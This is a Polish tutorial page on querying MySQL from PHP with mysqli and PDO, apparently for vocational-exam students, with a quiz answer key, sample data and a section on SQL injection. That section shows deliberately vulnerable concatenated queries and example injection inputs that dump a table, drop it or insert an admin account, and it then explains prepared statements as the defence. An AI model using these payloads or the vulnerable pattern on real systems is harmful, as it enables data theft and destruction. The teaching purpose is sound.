<li><p>Uczeń chce dodać do tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> kolumnę <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code>, bo „łatwiej będzie ją wyświetlić”. Co mu odpowiesz i na jaką zasadę się powołasz?</p></li>



<li><p>Dwa z tych wierszy <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> nie zapiszą tego, czego oczekuje autor. Które i dlaczego?<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, xp, data_ostatniej_aktywnosci) VALUES<br />('Kama_2026', 'Kama', 99, '2026-09-14'),<br />('Ola_TQ', 'Ola', '250', 'NULL'),<br />('Bartek_9', 'Bartek', 0, '01.09.2026');<br /></code></p></li>



<li><p>Baza ma kodowanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8</code>, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code>. Kiedy zobaczysz problem, a kiedy nie?</p></li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li>PDO — jako jedyne daje ten sam interfejs dla MySQL, PostgreSQL, SQLite i innych silników, więc zmiana bazy nie wymaga przepisywania kodu. <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> działa wyłącznie z MySQL/MariaDB.</li>



<li>Przecinek po ostatniej kolumnie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT 0,</code>) — błąd składni <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1064</code>, tabela w ogóle nie powstanie.</li>



<li>a) i b). Przypadek c) przejdzie lub nie w zależności od porównywania wielkości liter przez zestaw znaków, ale na domyślnym <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code> wielkość liter nie jest rozróżniana, więc baza też go odrzuci.</li>



<li>Bo w relacji 1:N klucz obcy trafia zawsze po stronie „N”. Jedno pole mieści jedną wartość — nie zapiszesz w nim listy „zadania 1, 2, 3”.</li>



<li>Nie dodajemy, bo poziom da się <strong>obliczyć</strong> z XP. Zasada: w bazie trzymamy tylko dane, których nie da się wyliczyć z innych danych — inaczej przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = 350, poziom = 2</code> nie wiadomo, która wartość kłamie. Poziom liczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code> / metoda klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>.</li>



<li>Wiersz Oli: <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> w apostrofach zapisze <strong>tekst</strong> „NULL”, a nie brak wartości (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'250'</code> zadziała, bo baza przekonwertuje tekst na liczbę, ale to zła praktyka). Wiersz Bartka: data <code class="prettyprint lang-sql" style="font-size: 0.85em;">'01.09.2026'</code> — baza przyjmuje wyłącznie format <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>.</li>



<li>Polskie litery zapiszą się poprawnie, bo mieszczą się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8</code>. Problem pojawi się dopiero przy emoji (4-bajtowe znaki) — wtedy błąd zapisu albo obcięte dane.</li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<p class="wp-block-paragraph">Bazy danych to fundament większości aplikacji webowych. Za każdym razem gdy:</p>



<ul class="wp-block-list">
<li>Przeglądasz posty na Instagramie</li>



<li>Sprawdzasz ranking w grze online</li>



<li>Szukasz wiadomości na Discordzie</li>



<li>Oglądasz playlistę na Spotify</li>
</ul>



<p class="wp-block-paragraph">W tym materiale nauczysz się&nbsp;<strong>pobierać dane</strong>&nbsp;z bazy MySQL/MariaDB używając PHP. To podstawowa umiejętność, którą musisz opanować przed nauką modyfikowania danych (INSERT, UPDATE, DELETE &#8211; te operacje poznasz w następnym temacie).</p>



<h2 class="wp-block-heading">Dane&nbsp;dostępowe&nbsp;do&nbsp;bazy</h2>



<p class="wp-block-paragraph">Niezależnie&nbsp;od&nbsp;wybranej&nbsp;metody,&nbsp;potrzebujesz&nbsp;4&nbsp;podstawowych&nbsp;informacji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$serwer = 'localhost';       // Adres serwera (localhost lub 127.0.0.1)
$user = 'root';              // Nazwa użytkownika bazy
$pass = '';                  // Hasło (domyślnie puste w XAMPP)
$baza = 'nazwa_bazy';        // Nazwa Twojej bazy danych</code></pre>



<p class="wp-block-paragraph"><strong>UWAGA:</strong>&nbsp;W&nbsp;środowisku&nbsp;produkcyjnym&nbsp;(na&nbsp;prawdziwym&nbsp;serwerze):</p>



<ul class="wp-block-list">
<li>Hasło&nbsp;NIE&nbsp;MOŻE&nbsp;być&nbsp;puste!</li>



<li>Użytkownik&nbsp;NIE&nbsp;POWINIEN&nbsp;być&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code></li>



<li>Dane&nbsp;logowania&nbsp;przechowuj&nbsp;w&nbsp;oddzielnym&nbsp;pliku&nbsp;(np.&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>)</li>



<li>Nigdy&nbsp;nie&nbsp;commituj&nbsp;danych&nbsp;dostępowych&nbsp;do&nbsp;GitHuba!</li>
</ul>



<p class="wp-block-paragraph"><strong>Przykład pliku config.php:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// config.php - NIE COMMITUJ tego pliku do repozytorium!

define('DB_HOST', 'localhost');
define('DB_USER', 'twoj_user');
define('DB_PASS', 'twoje_silne_haslo');
define('DB_NAME', 'nazwa_bazy');
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Użycie w kodzie PDO:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
require_once 'config.php';

... łączenie z bazą ...
?></code></pre>



<h2 class="wp-block-heading">Przygotowanie &#8211; Utworzenie przykładowej bazy</h2>



<p class="wp-block-paragraph">Przed rozpoczęciem nauki potrzebujesz bazy z przykładowymi danymi. Stworzymy bazę&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">gaming_hub</code>&nbsp;z tabelą graczy &#8211; będzie bardziej interesująca niż klasyczne &#8222;imię i nazwisko&#8221;</p>



<h3 class="wp-block-heading">Krok 1: Otwórz phpMyAdmin</h3>



<p class="wp-block-paragraph">W przeglądarce wejdź na: </p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">http:&#47;&#47;localhost/phpmyadmin</code></pre>



<h3 class="wp-block-heading">Krok 2: Utwórz nową bazę danych</h3>



<ul class="wp-block-list">
<li>Kliknij zakładkę&nbsp;<strong>&#8222;Bazy danych&#8221;</strong></li>



<li>W polu &#8222;Utwórz bazę danych&#8221; wpisz:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">gaming_hub</code></li>



<li>Wybierz kodowanie:&nbsp;<strong>utf8mb4_unicode_ci</strong>&nbsp;(poprawniejsze sortowanie wielu języków, lepsza zgodność Unicode, obsługa polskich znaków; <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb4</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code> oznacza „maximum bytes 4” — czyli kodowanie UTF-8 obsługujące znaki zajmujące do 4 bajtów.)</li>



<li>Kliknij&nbsp;<strong>&#8222;Utwórz&#8221;</strong></li>
</ul>



<h3 class="wp-block-heading">Krok 3: Utwórz tabelę z danymi</h3>



<p class="wp-block-paragraph">Kliknij na bazę&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">gaming_hub</code>, przejdź do zakładki&nbsp;<strong>SQL</strong>&nbsp;i wykonaj poniższy kod:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-- Tabela graczy
CREATE TABLE players (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) UNIQUE NOT NULL,
    email VARCHAR(100),
    level INT DEFAULT 1,
    coins INT DEFAULT 0,
    rank_name VARCHAR(20) DEFAULT 'Bronze',
    games_played INT DEFAULT 0,
    wins INT DEFAULT 0,
    losses INT DEFAULT 0,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    last_login TIMESTAMP NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- Przykładowe dane graczy (15 rekordów)
INSERT INTO players (username, email, level, coins, rank_name, games_played, wins, losses, last_login) VALUES
('ProGamer_Mike', 'mike@example.com', 45, 12500, 'Diamond', 850, 520, 330, NOW()),
('xX_Anna_Xx', 'anna@example.com', 32, 8900, 'Platinum', 620, 380, 240, NOW()),
('NinjaKiller', 'ninja@example.com', 67, 23400, 'Master', 1240, 890, 350, NOW()),
('ShadowHunter', 'shadow@example.com', 28, 6700, 'Gold', 490, 270, 220, DATE_SUB(NOW(), INTERVAL 2 DAY)),
('DragonSlayer99', 'dragon@example.com', 19, 4200, 'Silver', 320, 160, 160, DATE_SUB(NOW(), INTERVAL 5 DAY)),
('CoolGamer', 'cool@example.com', 52, 15600, 'Diamond', 980, 610, 370, NOW()),
('LegendaryPlayer', 'legend@example.com', 89, 45000, 'Grandmaster', 2100, 1560, 540, NOW()),
('NoobMaster', 'noob@example.com', 8, 1200, 'Bronze', 85, 30, 55, DATE_SUB(NOW(), INTERVAL 10 DAY)),
('FastFingers', 'fast@example.com', 41, 11200, 'Platinum', 740, 450, 290, NOW()),
('SilentAssassin', 'silent@example.com', 36, 9800, 'Platinum', 680, 410, 270, DATE_SUB(NOW(), INTERVAL 1 DAY)),
('ThunderStrike', 'thunder@example.com', 24, 5600, 'Gold', 410, 220, 190, DATE_SUB(NOW(), INTERVAL 3 DAY)),
('IceQueen', 'ice@example.com', 55, 17800, 'Diamond', 1050, 670, 380, NOW()),
('FireStorm', 'fire@example.com', 15, 3100, 'Silver', 250, 120, 130, DATE_SUB(NOW(), INTERVAL 7 DAY)),
('MysticWarrior', 'mystic@example.com', 63, 21000, 'Master', 1180, 800, 380, NOW()),
('SpeedDemon', 'speed@example.com', 29, 7200, 'Gold', 520, 290, 230, DATE_SUB(NOW(), INTERVAL 4 DAY));</code></pre>



<p class="wp-block-paragraph"><strong>Struktura tabeli players:</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Kolumna</th><th>Typ</th><th>Opis</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code></td><td>INT</td><td>Unikalny identyfikator (AUTO_INCREMENT)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">username</code></td><td>VARCHAR(50)</td><td>Nick gracza (unikalny)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">email</code></td><td>VARCHAR(100)</td><td>Adres email</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">level</code></td><td>INT</td><td>Poziom gracza</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">coins</code></td><td>INT</td><td>Wirtualna waluta</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">rank_name</code></td><td>VARCHAR(20)</td><td>Ranga (Bronze, Silver, Gold, Platinum, Diamond, Master, Grandmaster)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">games_played</code></td><td>INT</td><td>Liczba rozegranych gier</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wins</code></td><td>INT</td><td>Liczba wygranych</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">losses</code></td><td>INT</td><td>Liczba przegranych</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">created_at</code></td><td>TIMESTAMP</td><td>Data utworzenia konta</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">last_login</code></td><td>TIMESTAMP</td><td>Ostatnie logowanie</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Sposoby połączenia z bazą danych</h2>



<p class="wp-block-paragraph">PHP oferuje 2 nowoczesne sposoby komunikacji z MySQL, podejście proceduralne pomijamy jako przestarzałe.</p>



<h3 class="wp-block-heading">1. MySQLi &#8211; Podejście obiektowe</h3>



<p class="wp-block-paragraph">Wykorzystujemy klasę <a href="https://www.php.net/manual/en/class.mysqli.php">mysqli</a>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db = new mysqli($serwer, $user, $pass, $baza);</code></pre>



<p class="wp-block-paragraph">Podejście dobre, ale tylko dla MySQL/MariaDB</p>



<h3 class="wp-block-heading">2. PDO &#8211; PHP Data Objects&nbsp;<strong>(ZALECANE!)</strong></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo = new PDO("mysql:host=$serwer;dbname=$baza;charset=utf8mb4", $user, $pass);</code></pre>



<p class="wp-block-paragraph">Podejście&nbsp;uniwersalne, bezpieczne, nowoczesne</p>



<h2 class="wp-block-heading">Łączenie z bazą danych</h2>



<h3 class="wp-block-heading">MySQLi &#8211; Podejście obiektowe</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Dane dostępowe
$serwer = 'localhost';
$user = 'root';
$pass = '';
$baza = 'gaming_hub';

// Wyłączamy automatyczne raportowanie błędów
mysqli_report(MYSQLI_REPORT_OFF);

// Połączenie obiektowe (@ ukrywa ostrzeżenia)
$db = @new mysqli($serwer, $user, $pass, $baza);

// Sprawdzenie połączenia
if ($db-&gt;connect_error) {
    die("Błąd połączenia: {$db-&gt;connect_error}");
}

echo 'Połączenie nawiązano!&lt;br&gt;';

// Ustawienie kodowania (ważne dla polskich znaków i emoji!)
$db-&gt;set_charset('utf8mb4');

// ... wykonywanie zapytań ...

// Zamknięcie połączenia
$db-&gt;close();
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Dostępne właściwości do obsługi błędów:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;connect_error   // Opis błędu połączenia
$db-&gt;connect_errno   // Kod błędu połączenia
$db-&gt;error           // Opis ostatniego błędu
$db-&gt;errno           // Kod ostatniego błędu</code></pre>



<h3 class="wp-block-heading">PDO &#8211; PHP Data Objects</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Dane dostępowe
$serwer = 'localhost';
$user = 'root';
$pass = '';
$baza = 'gaming_hub';

// Opcje PDO dla bezpieczeństwa i wygody
$opcje = &#91;
    PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,        // Włącz wyjątki
    PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,   // Domyślnie tablica asocjacyjna
    PDO::ATTR_EMULATE_PREPARES =&gt; false,                // Prawdziwe prepared statements
];

try {
    // Połączenie PDO
    $pdo = new PDO(
        "mysql:host=$serwer;dbname=$baza;charset=utf8mb4",
        $user,
        $pass,
        $opcje
    );
    
    echo 'Połączenie nawiązano!&lt;br&gt;';
    
    // ... wykonywanie zapytań ...
    
} catch (PDOException $e) {
    // W prawdziwej aplikacji NIE pokazuj szczegółów błędu użytkownikowi!
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Nie można połączyć się z bazą danych. Spróbuj później.');
}

// Zamknięcie połączenia
$pdo = null;
?&gt;</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION</code>&nbsp;&#8211; rzuca wyjątki przy błędach (łatwiej debugować)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC</code>&nbsp;&#8211; zwraca tablice asocjacyjne (czytelniejsze)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">PDO::ATTR_EMULATE_PREPARES =&gt; false</code>&nbsp;&#8211; prawdziwe prepared statements (bezpieczniejsze)</li>
</ul>



<h2 class="wp-block-heading">Zamykanie połączenia z bazą</h2>



<p class="wp-block-paragraph">Operacja zamknięcia połączenia jest automatycznie wykonywana po zakończeniu skryptu. Jeżeli potrzebujemy zakończyć połączenie wcześniej:</p>



<h3 class="wp-block-heading">MySQLi obiektowo:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$db-&gt;close();</code></pre>



<h3 class="wp-block-heading">PDO:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pdo = null;
// lub
unset($pdo);</code></pre>



<p class="wp-block-paragraph"><strong>W praktyce:</strong>&nbsp;Rzadko musisz ręcznie zamykać połączenie &#8211; PHP robi to automatycznie po zakończeniu skryptu, ale na egzaminie zawodowym jest to wymagane.</p>



<h2 class="wp-block-heading">SELECT &#8211; Pobieranie wszystkich rekordów</h2>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>UWAGA: </strong>stosowanie <strong>query()</strong> nie zapewnia bezpieczeństwa w przypadku ataków SQJ Injection. Zamiast query należy używać <a href="https://www.php.net/manual/en/mysqli.quickstart.prepared-statements.php" class="link"><strong>parameterized prepared statements</strong></a> (opracowanie dalej w temacie). Aby query() było bezpieczne należy stosować <span class="function"><a href="https://www.php.net/manual/en/mysqli.real-escape-string.php" class="function">mysqli_real_escape_string()</a></span>. </p>
</blockquote>



<p class="wp-block-paragraph">Użycie samego query() jest dopuszczalne na egzaminie zawodowym, jednak w prawdziwych projektach ZAWSZE używaj <strong>prepared statements</strong>.</p>



<h3 class="wp-block-heading">Przykład 1: MySQLi obiektowo &#8211; PODATNE NA ATAKI! &#8211; tak nie rób</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Połączenie z bazą
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die("Błąd połączenia: {$db-&gt;connect_error}");
}

$db-&gt;set_charset('utf8mb4');
echo 'Połączenie nawiązano&lt;br&gt;&lt;br&gt;';

// Zapytanie SQL - pobierz wszystkich graczy
$sql = "SELECT * FROM players";
$wynik = $db-&gt;query($sql);

// Sprawdzamy liczbę rekordów
$ile_wierszy = $wynik-&gt;num_rows;
echo "Znaleziono graczy: &lt;strong&gt;{$ile_wierszy}&lt;/strong&gt;&lt;br&gt;&lt;br&gt;";

// Wyświetlamy w tabeli
echo '&lt;table border="1" cellpadding="10" cellspacing="0"&gt;';
echo '&lt;tr&gt;
        &lt;th&gt;ID&lt;/th&gt;
        &lt;th&gt;Username&lt;/th&gt;
        &lt;th&gt;Level&lt;/th&gt;
        &lt;th&gt;Coins&lt;/th&gt;
        &lt;th&gt;Rank&lt;/th&gt;
        &lt;th&gt;Wins/Losses&lt;/th&gt;
      &lt;/tr&gt;';

// Pętla while - pobieramy kolejne rekordy
while ($wiersz = $wynik-&gt;fetch_assoc()) {
    $username = htmlspecialchars($wiersz&#91;'username']);
    $coins = number_format($wiersz&#91;'coins']);
    
    echo "&lt;tr&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'id']}&lt;/td&gt;";
    echo "&lt;td&gt;{$username}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'level']}&lt;/td&gt;";
    echo "&lt;td&gt;{$coins}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'rank_name']}&lt;/td&gt;";
    echo "&lt;td&gt;{$wiersz&#91;'wins']}/{$wiersz&#91;'losses']}&lt;/td&gt;";
    echo "&lt;/tr&gt;";
}

echo '&lt;/table&gt;';

// Zamknięcie połączenia
$db-&gt;close();
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Alternatywnie &#8211; pętla foreach</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// ... (połączenie jak wyżej)

$sql = "SELECT * FROM players";
$wynik = $db-&gt;query($sql);

echo "Znaleziono graczy: {$wynik-&gt;num_rows}&lt;br&gt;&lt;br&gt;";

foreach ($wynik as $row) {
    $username = htmlspecialchars($row&#91;'username']);
    echo "{$row&#91;'id']} - {$username} (Level: {$row&#91;'level']})&lt;br&gt;";
}

$db-&gt;close();
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 1: PDO &#8211; PODATNE NA ATAKI! &#8211; tak nie rób</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    // Połączenie PDO
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC
        ]
    );
    
    echo 'Połączenie nawiązano&lt;br&gt;&lt;br&gt;';
    
    // Zapytanie SQL
    $sql = "SELECT * FROM players";
    $stmt = $pdo-&gt;query($sql);
    
    // Pobranie wszystkich wyników
    $wyniki = $stmt-&gt;fetchAll();
    
    $liczba_graczy = count($wyniki);
    echo "Znaleziono graczy: &lt;strong&gt;{$liczba_graczy}&lt;/strong&gt;&lt;br&gt;&lt;br&gt;";
    
    // Wyświetlanie w tabeli HTML
    echo '&lt;table border="1" cellpadding="10" cellspacing="0"&gt;';
    echo '&lt;tr&gt;
            &lt;th&gt;ID&lt;/th&gt;
            &lt;th&gt;Username&lt;/th&gt;
            &lt;th&gt;Level&lt;/th&gt;
            &lt;th&gt;Coins&lt;/th&gt;
            &lt;th&gt;Rank&lt;/th&gt;
            &lt;th&gt;Games&lt;/th&gt;
            &lt;th&gt;Win Rate&lt;/th&gt;
          &lt;/tr&gt;';
    
    foreach ($wyniki as $wiersz) {
        // Obliczamy Win Rate (procent wygranych)
        $winRate = $wiersz&#91;'games_played'] &gt; 0 
            ? round(($wiersz&#91;'wins'] / $wiersz&#91;'games_played']) * 100, 1) 
            : 0;
        
        $username = htmlspecialchars($wiersz&#91;'username']);
        $coins = number_format($wiersz&#91;'coins']);
        
        echo "&lt;tr&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'id']}&lt;/td&gt;";
        echo "&lt;td&gt;{$username}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'level']}&lt;/td&gt;";
        echo "&lt;td&gt;{$coins}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'rank_name']}&lt;/td&gt;";
        echo "&lt;td&gt;{$wiersz&#91;'games_played']}&lt;/td&gt;";
        echo "&lt;td&gt;{$winRate}%&lt;/td&gt;";
        echo "&lt;/tr&gt;";
    }
    
    echo '&lt;/table&gt;';
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

// Zamknięcie połączenia
$pdo = null;
?&gt;</code></pre>



<h2 class="wp-block-heading">BEZPIECZEŃSTWO &#8211; SQL Injection</h2>



<p class="wp-block-paragraph"><strong>SQL Injection</strong>&nbsp;to technika ataku, w której hacker wstrzykuje złośliwy kod SQL przez dane wejściowe (formularze, URL). To&nbsp;<strong>najczęstszy typ ataku</strong>&nbsp;na aplikacje webowe!</p>



<h3 class="wp-block-heading">NIEBEZPIECZNY KOD (NIGDY TAK NIE RÓB!)</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PODATNE NA SQL INJECTION!

$username = $_POST&#91;'username'];

// Niebezpieczne zapytanie - łączenie stringów!
$sql = "SELECT * FROM players WHERE username = '$username'";
$wynik = $db-&gt;query($sql);

/*
PROBLEM: Użytkownik może wpisać złośliwy kod!
*/
?&gt;</code></pre>



<p class="wp-block-paragraph">Jak działa atak SQL Injection?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Scenariusz 1: Normalny użytkownik
---------------------------------
Użytkownik wpisuje:         ProGamer_Mike
Zapytanie SQL:              SELECT * FROM players WHERE username = 'ProGamer_Mike'
Wynik:                      Zwraca dane gracza


Scenariusz 2: Hacker - ujawnienie wszystkich danych
---------------------------------------------------
Hacker wpisuje:             ' OR '1'='1
Zapytanie SQL:              SELECT * FROM players WHERE username = '' OR '1'='1'
Wynik:                      Zwraca WSZYSTKICH graczy!
Dlaczego?                   '1'='1' jest zawsze prawdą, więc warunek zawsze się spełnia


Scenariusz 3: Hacker - usunięcie tabeli
----------------------------------------
Hacker wpisuje:             '; DROP TABLE players; --
Zapytanie SQL:              SELECT * FROM players WHERE username = ''; DROP TABLE players; --'
Wynik:                      USUWA CAŁĄ TABELĘ! 
Dlaczego?                   Średnik (;) kończy pierwsze zapytanie, DROP TABLE usuwa tabelę,
                           -- komentuje resztę zapytania


Scenariusz 4: Hacker - dodanie administratora
----------------------------------------------
Hacker wpisuje:             '; INSERT INTO users (username, role) VALUES ('hacker', 'admin'); --
Wynik:                      Dodaje sobie konto z uprawnieniami admina! </code></pre>



<p class="wp-block-paragraph">Rzeczywiste konsekwencje SQL Injection:</p>



<ul class="wp-block-list">
<li><strong>Kradzież danych</strong>&nbsp;&#8211; haker może pobrać hasła, emaile, dane kart kredytowych</li>



<li><strong>Usunięcie danych</strong>&nbsp;&#8211; cała baza może zostać skasowana</li>



<li><strong>Modyfikacja danych</strong>&nbsp;&#8211; zmiana cen produktów, uprawnień użytkowników</li>



<li><strong>Przejęcie kontroli</strong>&nbsp;&#8211; dodanie konta administratora</li>



<li><strong>Kara prawna i finansowa</strong>&nbsp;&#8211; naruszenie RODO, utrata reputacji firmy</li>
</ul>



<h2 class="wp-block-heading">BEZPIECZNY KOD &#8211; Prepared Statements</h2>



<h3 class="wp-block-heading">BEZPIECZNY KOD &#8211; Prepared Statements</h3>



<p class="wp-block-paragraph"><strong>Prepared Statements</strong>&nbsp;(zapytania przygotowane) to mechanizm, który&nbsp;<strong>rozdziela kod SQL od danych</strong>. Baza danych najpierw &#8222;przygotowuje&#8221; zapytanie, a potem osobno przekazuje dane.</p>



<h3 class="wp-block-heading">Dlaczego są bezpieczne?</h3>



<ul class="wp-block-list">
<li><strong>Separacja kodu i danych</strong>&nbsp;&#8211; SQL i dane są wysyłane osobno</li>



<li><strong>Automatyczne escapowanie</strong>&nbsp;&#8211; baza wie, że to dane, nie kod</li>



<li><strong>Niemożliwy injection</strong>&nbsp;&#8211; dane nie mogą zmienić struktury zapytania</li>
</ul>



<h3 class="wp-block-heading">Jak działają Prepared Statements?</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Krok 1: Przygotowanie zapytania (prepare)
------------------------------------------
PHP do MySQL:  "Przygotuj zapytanie: SELECT * FROM players WHERE username = ?"
MySQL:         "OK, czekam na dane do znaku zapytania"


Krok 2: Wysłanie danych (execute/bind_param)
---------------------------------------------
PHP do MySQL:  "Podstaw wartość: ' OR '1'='1"
MySQL:         "OK, traktuję to jako TEKST, nie jako KOD SQL"


Krok 3: Wykonanie
-----------------
MySQL wykonuje: SELECT * FROM players WHERE username = '\' OR \'1\'=\'1\''
                                                          ↑ Escapowane apostrofy
Wynik:          Szuka gracza o nicku "' OR '1'='1" (nie znajdzie takiego)
                NIE WYKONUJE ataku!</code></pre>



<h3 class="wp-block-heading">Przykład działania &#8211; porównanie</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// BEZ prepared statements (niebezpieczne):
$username = "' OR '1'='1";
$sql = "SELECT * FROM players WHERE username = '$username'";
// Zapytanie: SELECT * FROM players WHERE username = '' OR '1'='1'
// ATAK SKUTECZNY!


// Z prepared statements (bezpieczne):
$username = "' OR '1'='1";
$stmt = $pdo-&gt;prepare("SELECT * FROM players WHERE username = :username");
$stmt-&gt;execute(&#91;'username' =&gt; $username]);
// Zapytanie: SELECT * FROM players WHERE username = '\' OR \'1\'=\'1\''
// Szuka gracza o nicku "' OR '1'='1" - nie znajdzie
// ATAK ZABLOKOWANY!</code></pre>



<h2 class="wp-block-heading">SELECT z warunkiem WHERE &#8211; dane z formularza ($_POST)</h2>



